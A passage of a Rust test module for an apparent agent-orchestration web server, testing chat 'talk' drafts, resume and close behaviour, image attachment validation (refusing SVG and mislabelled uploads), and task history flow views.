15128                fresh.pending,
15129                fresh.turns.len()
15130            );
15131        }
15132    }
15133
15134    #[tokio::test]
15135    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
15136        let (_tmp, _repo, f) = talk_fixture().await;
15137        let id = f.post("/api/talks", None).await.json()["id"]
15138            .as_str()
15139            .expect("id")
15140            .to_owned();
15141        let store = f.talks();
15142        let mut recovered = store.get(&id).expect("opened talk");
15143        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
15144            .expect("persist pending draft without a live turn");
15145
15146        let edited = f
15147            .post(
15148                &format!("/api/talks/{id}/pending/edit"),
15149                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
15150            )
15151            .await;
15152        assert_eq!(edited.status, 200, "{}", edited.body);
15153        assert!(edited.json()["thinking"].as_bool().unwrap());
15154
15155        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
15156        for _ in 0..SETTLE_STEPS {
15157            if detail["turns"].as_array().expect("turns").len() == 2 {
15158                break;
15159            }
15160            tokio::time::sleep(Duration::from_millis(10)).await;
15161            detail = f.get(&format!("/api/talks/{id}")).await.json();
15162        }
15163        let turns = detail["turns"].as_array().expect("turns");
15164        assert_eq!(
15165            turns.len(),
15166            2,
15167            "the recovered draft must run once: {detail}"
15168        );
15169        assert_eq!(turns[0]["body"], "corrected");
15170        assert_eq!(detail["pending"], "");
15171    }
15172
15173    #[tokio::test]
15174    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
15175        let tmp = TempDir::new().expect("tempdir");
15176        let repo = tmp.path().join("repo");
15177        std::fs::create_dir_all(&repo).expect("repo dir");
15178        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15179        let f = Fixture::with_repo(repo).await;
15180        let id = f.post("/api/talks", None).await.json()["id"]
15181            .as_str()
15182            .expect("id")
15183            .to_owned();
15184        let store = f.talks();
15185        let mut recovered = store.get(&id).expect("opened talk");
15186        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
15187            .expect("persist pending draft without a live turn");
15188
15189        let refused = f
15190            .post(
15191                &format!("/api/talks/{id}/say"),
15192                Some(r#"{"text":"new message"}"#),
15193            )
15194            .await;
15195        assert_eq!(refused.status, 409, "{}", refused.body);
15196        assert!(refused.body.contains("resume"), "{}", refused.body);
15197        let saved = store.get(&id).expect("draft remains after refusal");
15198        assert!(saved.turns.is_empty());
15199        assert_eq!(saved.pending, "saved before restart");
15200
15201        let say_path = format!("/api/talks/{id}/say");
15202        let (first, second) = tokio::join!(
15203            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
15204            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
15205        );
15206        assert_eq!(first.status, 409, "{}", first.body);
15207        assert_eq!(second.status, 409, "{}", second.body);
15208        let saved = store
15209            .get(&id)
15210            .expect("draft remains after concurrent refusals");
15211        assert!(saved.turns.is_empty());
15212        assert_eq!(saved.pending, "saved before restart");
15213
15214        let resumed = f
15215            .post(&format!("/api/talks/{id}/pending/resume"), None)
15216            .await;
15217        assert_eq!(resumed.status, 202, "{}", resumed.body);
15218        let duplicate = f
15219            .post(&format!("/api/talks/{id}/pending/resume"), None)
15220            .await;
15221        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
15222
15223        for _ in 0..SETTLE_STEPS {
15224            if store.get(&id).expect("talk").turns.len() == 2 {
15225                break;
15226            }
15227            tokio::time::sleep(Duration::from_millis(10)).await;
15228        }
15229        let finished = store.get(&id).expect("finished talk");
15230        assert_eq!(finished.turns.len(), 2, "{finished:?}");
15231        assert_eq!(finished.turns[0].body, "saved before restart");
15232        assert!(finished.pending.is_empty());
15233    }
15234
15235    #[tokio::test]
15236    async fn an_image_only_recovered_draft_resumes_without_text() {
15237        let (_tmp, _repo, f) = talk_fixture().await;
15238        let id = f.post("/api/talks", None).await.json()["id"]
15239            .as_str()
15240            .expect("id")
15241            .to_owned();
15242        let uploaded = f
15243            .post_bytes(
15244                &format!("/api/talks/{id}/attachments"),
15245                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
15246                PNG_BYTES,
15247            )
15248            .await;
15249        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15250        let attachment = f
15251            .talks()
15252            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
15253            .expect("attachment metadata")
15254            .expect("stored attachment");
15255        let store = f.talks();
15256        let mut recovered = store.get(&id).expect("opened talk");
15257        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
15258
15259        let resumed = f
15260            .post(&format!("/api/talks/{id}/pending/resume"), None)
15261            .await;
15262        assert_eq!(resumed.status, 202, "{}", resumed.body);
15263        for _ in 0..SETTLE_STEPS {
15264            if store.get(&id).expect("talk").turns.len() == 2 {
15265                break;
15266            }
15267            tokio::time::sleep(Duration::from_millis(10)).await;
15268        }
15269        let finished = store.get(&id).expect("finished talk");
15270        assert_eq!(finished.turns.len(), 2, "{finished:?}");
15271        assert!(finished.turns[0].body.is_empty());
15272        assert_eq!(finished.turns[0].attachments.len(), 1);
15273        assert!(finished.pending_attachments.is_empty());
15274    }
15275
15276    #[tokio::test]
15277    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
15278        let (_tmp, _repo, f) = talk_fixture().await;
15279        let id = f.post("/api/talks", None).await.json()["id"]
15280            .as_str()
15281            .expect("id")
15282            .to_owned();
15283        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15284        assert_eq!(closed.status, 200, "{}", closed.body);
15285        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15286            .expect("serialize closed talk");
15287        for (path, body) in [
15288            (format!("/api/talks/{id}/pending/resume"), None),
15289            (
15290                format!("/api/talks/{id}/pending/clear"),
15291                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
15292            ),
15293            (
15294                format!("/api/talks/{id}/pending/edit"),
15295                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
15296            ),
15297            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
15298        ] {
15299            let response = f.post(&path, body).await;
15300            assert_eq!(response.status, 409, "{}", response.body);
15301        }
15302        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15303            .expect("serialize closed talk");
15304        assert_eq!(
15305            after_clear, before_clear,
15306            "clear must not rewrite a closed talk"
15307        );
15308    }
15309
15310    /// Keeps both claims observable long enough to exercise the distinction
15311    /// between one busy talk and a globally locked Chat surface.
15312    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
15313
15314    #[tokio::test]
15315    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
15316        let tmp = TempDir::new().expect("tempdir");
15317        let repo = tmp.path().join("repo");
15318        std::fs::create_dir_all(&repo).expect("repo dir");
15319        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15320        let f = Fixture::with_repo(repo).await;
15321        let id_a = f.post("/api/talks", None).await.json()["id"]
15322            .as_str()
15323            .unwrap()
15324            .to_owned();
15325        let id_b = f.post("/api/talks", None).await.json()["id"]
15326            .as_str()
15327            .unwrap()
15328            .to_owned();
15329
15330        let a = f
15331            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
15332            .await;
15333        assert_eq!(a.status, 202, "{}", a.body);
15334        assert_eq!(a.json()["thinking"], true);
15335        let b = f
15336            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
15337            .await;
15338        assert_eq!(b.status, 202, "{}", b.body);
15339        assert_eq!(b.json()["thinking"], true);
15340
15341        let listed = f.get("/api/talks").await.json();
15342        for id in [&id_a, &id_b] {
15343            let view = listed
15344                .as_array()
15345                .unwrap()
15346                .iter()
15347                .find(|talk| talk["id"] == *id)
15348                .unwrap();
15349            assert_eq!(view["thinking"], true, "{listed}");
15350        }
15351        let repeated = f
15352            .post(
15353                &format!("/api/talks/{id_a}/say"),
15354                Some(r#"{"text":"again"}"#),
15355            )
15356            .await;
15357        assert_eq!(repeated.status, 202, "{}", repeated.body);
15358        assert_eq!(repeated.json()["pending"], "again");
15359    }
15360
15361    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
15362    /// few more, since real uploads are never exactly eight bytes.
15363    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
15364
15365    #[tokio::test]
15366    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
15367        let f = Fixture::start().await;
15368        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
15369
15370        let res = f
15371            .post_bytes(
15372                &format!("/api/talks/{id}/attachments"),
15373                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15374                PNG_BYTES,
15375            )
15376            .await;
15377        assert_eq!(res.status, 201, "{}", res.body);
15378        let body = res.json();
15379        assert_eq!(body["name"], "shot.png");
15380        assert_eq!(body["mime"], "image/png");
15381        assert_eq!(body["bytes"], PNG_BYTES.len());
15382        let att_id = body["id"].as_str().expect("id").to_owned();
15383        assert_eq!(
15384            att_id.len(),
15385            32,
15386            "the id must never be a client-suppliable path: {att_id}"
15387        );
15388
15389        let got = f
15390            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
15391            .await;
15392        assert_eq!(got.status, 200, "{}", got.body);
15393        assert_eq!(got.header("content-type"), Some("image/png"));
15394        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
15395        assert_eq!(got.bytes, PNG_BYTES);
15396    }
15397
15398    #[tokio::test]
15399    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
15400        let f = Fixture::start().await;
15401        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
15402
15403        // SVG can carry a `<script>`, so it is never on the whitelist even
15404        // though it is a real IANA image type.
15405        let svg = f
15406            .post_bytes(
15407                &format!("/api/talks/{id}/attachments"),
15408                &[("Content-Type", "image/svg+xml")],
15409                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
15410            )
15411            .await;
15412        assert!(
15413            (400..500).contains(&svg.status),
15414            "svg must be refused: {} {}",
15415            svg.status,
15416            svg.body
15417        );
15418        assert!(svg.body.contains("SVG"), "{}", svg.body);
15419
15420        let text = f
15421            .post_bytes(
15422                &format!("/api/talks/{id}/attachments"),
15423                &[("Content-Type", "text/plain")],
15424                b"just some text",
15425            )
15426            .await;
15427        assert!(
15428            (400..500).contains(&text.status),
15429            "an unlisted type must be refused: {} {}",
15430            text.status,
15431            text.body
15432        );
15433
15434        // The declared type is a real png, but the size check runs before
15435        // the bytes are even looked at.
15436        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
15437        let big = f
15438            .post_bytes(
15439                &format!("/api/talks/{id}/attachments"),
15440                &[("Content-Type", "image/png")],
15441                &oversized,
15442            )
15443            .await;
15444        assert_eq!(
15445            big.status,
15446            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
15447            "{}",
15448            big.body
15449        );
15450    }
15451
15452    #[tokio::test]
15453    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
15454        let f = Fixture::start().await;
15455        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
15456
15457        // A whitelisted `Content-Type`, but bytes that are not actually a
15458        // png - the declared header alone is never trusted.
15459        let res = f
15460            .post_bytes(
15461                &format!("/api/talks/{id}/attachments"),
15462                &[("Content-Type", "image/png")],
15463                b"<html>not a picture</html>",
15464            )
15465            .await;
15466        assert!((400..500).contains(&res.status), "{}", res.body);
15467    }
15468
15469    #[tokio::test]
15470    async fn an_unknown_attachment_id_is_a_404() {
15471        let f = Fixture::start().await;
15472        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
15473
15474        let res = f
15475            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
15476            .await;
15477        assert_eq!(res.status, 404, "{}", res.body);
15478    }
15479
15480    #[tokio::test]
15481    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
15482        let f = Fixture::start().await;
15483        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
15484
15485        let uploaded = f
15486            .post_bytes(
15487                &format!("/api/talks/{id}/attachments"),
15488                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15489                PNG_BYTES,
15490            )
15491            .await;
15492        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15493        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
15494
15495        let res = f
15496            .post(
15497                &format!("/api/talks/{id}/say"),
15498                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
15499            )
15500            .await;
15501        assert_eq!(res.status, 202, "{}", res.body);
15502        let queued = res.json();
15503        let turns = queued["turns"].as_array().expect("turns array");
15504        assert_eq!(
15505            turns.len(),
15506            1,
15507            "an empty body with an attachment is still a turn: {queued}"
15508        );
15509        assert_eq!(turns[0]["who"], "operator");
15510        assert_eq!(turns[0]["body"], "");
15511        let atts = turns[0]["attachments"]
15512            .as_array()
15513            .expect("attachments array");
15514        assert_eq!(atts.len(), 1);
15515        assert_eq!(atts[0]["id"], att_id);
15516        assert_eq!(atts[0]["mime"], "image/png");
15517
15518        // Not only in the response: `record` flushes to disk before the
15519        // agent's own turn is even spawned.
15520        let on_disk = f.talks().get(&id).expect("get");
15521        assert_eq!(on_disk.turns[0].attachments.len(), 1);
15522        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
15523    }
15524
15525    #[tokio::test]
15526    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
15527        let f = Fixture::start().await;
15528        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
15529
15530        let res = f
15531            .post(
15532                &format!("/api/talks/{id}/say"),
15533                Some(&format!(
15534                    r#"{{"text":"hi","attachments":["{}"]}}"#,
15535                    "a".repeat(32)
15536                )),
15537            )
15538            .await;
15539        assert!((400..500).contains(&res.status), "{}", res.body);
15540        assert!(res.body.contains("unknown attachment"), "{}", res.body);
15541
15542        let on_disk = f.talks().get(&id).expect("get");
15543        assert!(
15544            on_disk.turns.is_empty(),
15545            "a rejected attachment id must not partially record the turn: {:?}",
15546            on_disk.turns
15547        );
15548    }
15549
15550    #[tokio::test]
15551    async fn talk_close_makes_the_talk_refuse_further_turns() {
15552        let f = Fixture::start().await;
15553        let id = seed_talk(&f, "20260904-014455-cd34", "open");
15554
15555        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15556        assert_eq!(closed.status, 200, "{}", closed.body);
15557        assert_eq!(closed.json()["status"], "closed");
15558
15559        // Idempotent: closing an already-closed talk is not an error.
15560        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
15561        assert_eq!(closed_again.status, 200);
15562        assert_eq!(closed_again.json()["status"], "closed");
15563
15564        let said = f
15565            .post(
15566                &format!("/api/talks/{id}/say"),
15567                Some(r#"{"text":"too late"}"#),
15568            )
15569            .await;
15570        assert_eq!(said.status, 409, "{}", said.body);
15571    }
15572
15573    #[tokio::test]
15574    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
15575        let (_tmp, _repo, f) = talk_fixture().await;
15576        let id = f.post("/api/talks", None).await.json()["id"]
15577            .as_str()
15578            .expect("id")
15579            .to_owned();
15580        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15581        assert_eq!(closed.status, 200, "{}", closed.body);
15582
15583        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15584        assert_eq!(reopened.status, 200, "{}", reopened.body);
15585        assert_eq!(reopened.json()["status"], "open");
15586
15587        // Idempotent: reopening an already-open talk is not an error.
15588        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15589        assert_eq!(reopened_again.status, 200);
15590        assert_eq!(reopened_again.json()["status"], "open");
15591
15592        let said = f
15593            .post(
15594                &format!("/api/talks/{id}/say"),
15595                Some(r#"{"text":"still there?"}"#),
15596            )
15597            .await;
15598        assert_eq!(
15599            said.status, 202,
15600            "a reopened talk accepts turns again: {}",
15601            said.body
15602        );
15603    }
15604
15605    #[tokio::test]
15606    async fn talk_reopen_on_an_unknown_id_is_404() {
15607        let f = Fixture::start().await;
15608        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
15609        assert_eq!(res.status, 404, "{}", res.body);
15610    }
15611
15612    #[tokio::test]
15613    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
15614        let f = Fixture::start().await;
15615        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
15616
15617        let deleted = f.delete(&format!("/api/talks/{id}")).await;
15618        assert_eq!(deleted.status, 204, "{}", deleted.body);
15619
15620        let after = f.get(&format!("/api/talks/{id}")).await;
15621        assert_eq!(after.status, 404, "{}", after.body);
15622
15623        let listed = f.get("/api/talks").await.json();
15624        assert!(
15625            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
15626            "a deleted talk must not linger in the list: {listed}"
15627        );
15628    }
15629
15630    #[tokio::test]
15631    async fn talk_delete_on_an_unknown_id_is_404() {
15632        let f = Fixture::start().await;
15633        let res = f.delete("/api/talks/nonexistent-id").await;
15634        assert_eq!(res.status, 404, "{}", res.body);
15635    }
15636
15637    /// A task's page lists every run it ever had, in order, and says what kind
15638    /// of attempt each was - including a resume, which re-pushes the same run
15639    /// id, and a run whose record this build cannot read.
15640    #[tokio::test]
15641    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
15642        let f = Fixture::start().await;
15643        let (a, b, gone) = (
15644            "20260902-140501-aaaa",
15645            "20260902-140502-bbbb",
15646            "20260902-140503-cccc",
15647        );
15648        write_run(&f.runs(), a, RunStatus::Stalled);
15649        let mut review = RunState::new(
15650            PathBuf::from("/repo/magi"),
15651            "main".to_owned(),
15652            "0123456789abcdef".to_owned(),
15653            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
15654                .to_owned(),
15655            Config::default(),
15656        );
15657        review.id = b.to_owned();
15658        review.status = RunStatus::Merged;
15659        write_state(&f.runs(), &review);
15660
15661        let mut task = Task::new(
15662            "retry".to_owned(),
15663            "Do the thing".to_owned(),
15664            PathBuf::from("/repo/magi"),
15665            Source::Human,
15666        );
15667        task.start(a.to_owned());
15668        task.stall("quota");
15669        task.start(a.to_owned());
15670        task.start(b.to_owned());
15671        task.start(gone.to_owned());
15672        // This fixture models an older queue file with repeated run entries.
15673        task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
15674        f.queue().put(&mut task).expect("file the task");
15675
15676        let res = f.get(&format!("/api/queue/{}", task.id)).await;
15677        assert_eq!(res.status, 200, "{}", res.body);
15678        let v = res.json();
15679        let h = v["history"].as_array().expect("history");
15680        assert_eq!(h.len(), 4, "{v}");
15681        assert_eq!(h[0]["kind"], "competition");
15682        assert_eq!(h[0]["status"], "stalled");
15683        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
15684        assert_eq!(h[1]["kind"], "resume", "{v}");
15685        assert!(
15686            h[0]["outcome"]
15687                .as_str()
15688                .unwrap()
15689                .contains("unknown. Pass #2"),
15690            "an earlier pass of a resumed run must not claim the final outcome: {v}"
15691        );
15692        assert!(
15693            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
15694            "{v}"
15695        );
15696        assert!(
15697            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
15698            "an unrecorded cause must not be narrated as an operator park: {v}"
15699        );
15700        assert_eq!(h[2]["kind"], "review");
15701        assert!(
15702            h[2]["description"]
15703                .as_str()
15704                .unwrap()
15705                .contains("magi/aaaa/A")
15706        );
15707        assert_eq!(h[2]["status"], "merged");
15708        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
15709        assert_eq!(v["runs_unreadable"], 1);
15710        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
15711        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
15712        assert_eq!(nodes[4]["note"], "unreadable");
15713        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
15714        assert_eq!(v["instruction"], "Do the thing");
15715        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
15716
15717        // The run's own page links back to the task.
15718        let run = f.get(&format!("/api/runs/{a}")).await.json();
15719        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
15720
15721        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
15722    }
15723
15724    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
15725        let mut s = RunState::new(
15726            PathBuf::from("/repo/magi"),
15727            "main".to_owned(),
15728            "0123456789abcdef".to_owned(),
15729            "Do it".to_owned(),
15730            Config::default(),
15731        );
15732        s.status = status;
15733        edit(&mut s);
15734        s
15735    }
15736
15737    fn flow_task(runs: &[&str]) -> Task {
15738        let mut t = Task::new(
15739            "t".to_owned(),
15740            "Do it".to_owned(),
15741            PathBuf::from("/repo/magi"),
15742            Source::Human,
15743        );
15744        for r in runs {
15745            t.start((*r).to_owned());
15746        }
15747        // Synthetic flows without RunPass records model legacy queue data.
15748        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
15749        t
15750    }
15751
15752    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
15753        let h = task_history(task, |id| {
15754            states
15755                .iter()
15756                .find(|(i, _)| *i == id)
15757                .and_then(|(_, s)| s.clone())
15758        });
15759        task_flow(task, &h, 5, None)
15760    }
15761
15762    #[test]
15763    fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
15764        let queued = "2026-10-10T00:00:00Z".parse().unwrap();
15765        let created = "2026-10-10T01:00:00Z".parse().unwrap();
15766        let first = "2026-10-10T02:00:00Z".parse().unwrap();
15767        let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
15768        let held = "2026-10-10T04:00:00Z".parse().unwrap();
15769        let run = flow_run(RunStatus::Implementing, |s| {
15770            s.created_at = created;
15771            s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
15772            s.passes[0].started_at = first;
15773            s.passes[1].started_at = resumed;
15774        });
15775        let mut task = flow_task(&[RUN_X, RUN_X]);
15776        task.created_at = queued;
15777        task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
15778        task.status = TaskStatus::Held;
15779        task.held_at = Some(held);
15780        let flow = flow_for(&task, &[(RUN_X, Some(run))]);
15781        assert_eq!(
15782            flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
15783            vec![Some(queued), Some(first), Some(resumed), Some(held)]
15784        );
15785        assert!(flow.nodes.iter().all(|n| n.time_expected));
15786        let json = serde_json::to_value(&flow).unwrap();
15787        assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
15788        assert_eq!(json["nodes"][2]["time_expected"], true);
15789    }
15790
15791    #[test]
15792    fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
15793        let created = "2026-10-10T01:00:00Z".parse().unwrap();
15794        let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
15795        let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
15796        // These timestamps are not the start of the current status.
15797        task.held_at = Some(created);
15798        task.blocked_at = Some(created);
15799        for status in [
15800            TaskStatus::Queued,
15801            TaskStatus::Running,
15802            TaskStatus::Blocked,
15803            TaskStatus::Done,
15804            TaskStatus::Failed,
15805            TaskStatus::Parked,
15806            TaskStatus::Held,
15807        ] {
15808            task.status = status;
15809            if status == TaskStatus::Held {
15810                task.held_at = None;
15811            }
15812            let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
15813            assert_eq!(flow.nodes[1].started_at, Some(created));
15814            assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
15815            assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
15816            assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
15817            let json = serde_json::to_value(&flow).unwrap();
15818            assert!(json["nodes"][3]["started_at"].is_null());
15819            assert_eq!(json["nodes"][3]["time_expected"], true);
15820        }
15821    }
15822
15823    #[test]
15824    fn flow_context_links_do_not_expect_start_times() {
15825        let mut task = flow_task(&[]);
15826        task.source = Source::Agent {
15827            run: "chat-id".to_owned(),
15828            node: "chat".to_owned(),
15829        };
15830        let origin = followup_origin(&fu(None), |_| None, |_| None);
15831        let flow = task_flow(&task, &[], 5, Some(&origin));
15832        for node in &flow.nodes[..2] {
15833            assert!(!node.time_expected);
15834            assert_eq!(node.started_at, None);
15835        }
15836        assert!(flow.nodes[2].time_expected);
15837    }
15838
15839    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
15840        crate::queue::FollowUp {
15841            run: "20260901-000000-aaaa".to_owned(),
15842            origin_task: origin_task.map(str::to_owned),
15843            pr: "https://example.com/o/r/pull/1".to_owned(),
15844            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
15845                .map(str::to_owned)
15846                .to_vec(),
15847            generation: 1,
15848        }
15849    }
15850
15851    fn parent_task() -> Task {
15852        let mut p = flow_task(&[]);
15853        p.title = "Parent title".to_owned();
15854        p.status = TaskStatus::Done;
15855        p
15856    }
15857
15858    #[test]
15859    fn flow_opens_with_the_parent_task_of_a_followup() {
15860        let p = parent_task();
15861        let pid = p.id.clone();
15862        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
15863        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15864        let n = &f.nodes[0];
15865        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
15866        assert_eq!(
15867            n.label,
15868            format!("Follow-up of {}", crate::queue::short(&pid))
15869        );
15870        assert_eq!(n.detail.as_deref(), Some("Parent title"));
15871        assert_eq!(n.status, Some("done"));
15872        assert_eq!(n.status_of, "task");
15873        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
15874        assert_eq!(f.nodes[1].key, "start");
15875        assert_eq!(f.edges[0].from, "origin");
15876        assert_eq!(
15877            f.edges[0].label,
15878            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
15879        );
15880    }
15881
15882    #[test]
15883    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
15884        let o = followup_origin(
15885            &fu(Some("gone")),
15886            |_| None,
15887            |_| {
15888                Some(RunState::new(
15889                    std::path::PathBuf::from("."),
15890                    "main".to_owned(),
15891                    "0".to_owned(),
15892                    "t".to_owned(),
15893                    crate::config::Config::default(),
15894                ))
15895            },
15896        );
15897        assert!(o.parent.is_none());
15898        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15899        let n = &f.nodes[0];
15900        assert_eq!(n.status_of, "run");
15901        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
15902        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
15903    }
15904
15905    #[test]
15906    fn flow_followup_with_nothing_readable_has_no_link() {
15907        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
15908        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15909        let n = &f.nodes[0];
15910        assert_eq!(n.href, None);
15911        assert_eq!(n.note, Some("unreadable"));
15912        assert!(!n.readable);
15913    }
15914
15915    #[test]
15916    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
15917        let o = followup_origin(&fu(None), |_| None, |_| None);
15918        let mut t = flow_task(&[]);
15919        t.origin_chat = Some("c1".to_owned());
15920        let f = task_flow(&t, &[], 5, Some(&o));
15921        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
15922        t.source = Source::Agent {
15923            run: "c1".to_owned(),
15924            node: crate::queue::CHAT_NODE.to_owned(),
15925        };
15926        let f = task_flow(&t, &[], 5, Some(&o));
15927        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
15928        assert_eq!(
15929            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
15930            ("chat", "origin")
15931        );
15932    }
15933
15934    #[test]
15935    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
15936        let mut p = parent_task();
15937        p.id = "a b/c".to_owned();
15938        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
15939        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
15940    }
15941
15942    #[test]
15943    fn flow_opens_with_the_chat_that_queued_the_task() {
15944        let mut t = flow_task(&[]);
15945        t.source = Source::Agent {
15946            run: "a b/c".to_owned(),
15947            node: crate::queue::CHAT_NODE.to_owned(),
15948        };
15949        let f = flow_for(&t, &[]);
15950        assert_eq!(f.nodes[0].key, "chat");
15951        assert_eq!(f.nodes[0].kind, "chat");
15952        assert_eq!(
15953            f.nodes[0].label,
15954            format!("Chat {}", crate::queue::short("a b/c"))
15955        );
15956        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
15957        assert_eq!(f.nodes[1].key, "start");
15958        assert_eq!(
15959            f.edges[0],
15960            FlowEdge {
15961                from: "chat".to_owned(),
15962                to: "start".to_owned(),
15963                label: "queued from chat".to_owned(),
15964                attempt: AttemptCost::None,
15965            }
15966        );
15967    }
15968
15969    #[test]
15970    fn flow_has_no_chat_box_for_other_sources() {
15971        for source in [
15972            Source::Human,
15973            Source::Issue {
15974                number: 3,
15975                repo: "o/r".to_owned(),
15976            },
15977            Source::Agent {
15978                run: "20260904-014455-ab12".to_owned(),
15979                node: "implement".to_owned(),
15980            },
15981        ] {
15982            let mut t = flow_task(&[]);
15983            t.source = source;
15984            let f = flow_for(&t, &[]);
15985            assert_eq!(f.nodes[0].key, "start");
15986            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
